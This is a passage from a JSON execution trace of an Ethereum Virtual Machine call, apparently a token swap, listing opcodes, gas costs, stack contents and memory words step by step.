":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15029,"op":"DUP5","gas":99252,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x20","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15030,"op":"SUB","gas":99249,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x20","0x200","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15031,"op":"SLT","gas":99246,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15032,"op":"ISZERO","gas":99243,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15033,"op":"PUSH2","gas":99240,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15036,"op":"JUMPI","gas":99237,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1","0x3ac1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15041,"op":"JUMPDEST","gas":99227,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15042,"op":"DUP2","gas":99226,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15043,"op":"MLOAD","gas":99223,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15044,"op":"PUSH2","gas":99220,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15047,"op":"DUP2","gas":99217,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15048,"op":"PUSH2","gas":99214,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15051,"op":"JUMP","gas":99211,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3643"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13891,"op":"JUMPDEST","gas":99203,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13892,"op":"PUSH1","gas":99202,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13894,"op":"PUSH1","gas":99199,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13896,"op":"PUSH1","gas":99196,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13898,"op":"SHL","gas":99193,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13899,"op":"SUB","gas":99190,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xbcd","0x220","0x200","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3